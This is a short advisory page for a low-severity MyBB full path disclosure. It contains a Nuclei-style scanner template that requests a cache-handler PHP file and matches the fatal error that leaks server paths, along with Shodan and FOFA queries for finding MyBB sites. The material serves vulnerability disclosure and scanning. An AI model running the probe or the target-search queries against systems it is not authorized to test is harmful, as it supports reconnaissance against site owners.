mybb-full-path-disclosure: MyBB - Full Path Disclosure

2026-01-16 MyBB PoC Public

Description

Detected MyBB forum software exposed the server's full filesystem path through PHP fatal errors when files that implemented interfaces were accessed without dependencies.

PoC

id: mybb-full-path-disclosure

info:
  name: MyBB - Full Path Disclosure
  author: 0x_Akoko
  severity: low
  description: |
    Detected MyBB forum software exposed the server's full filesystem path through PHP fatal errors when files that implemented interfaces were accessed without dependencies.
  reference:
    - https://mybb.com/
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"MyBB"
    fofa-query: body="Powered by MyBB"
  tags: mybb,misconfig,fpd,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/inc/cachehandlers/disk.php"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Fatal error", "Uncaught Error")'
        condition: and
# digest: 4a0a00473045022034abfde175522446010d58e2c1b7c758c230b18a686f20fa163823f443fe668b0221008098d6227dda84e47e558e8b8f0539eb3325f7d0be63c9af40e893eacfe3858b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities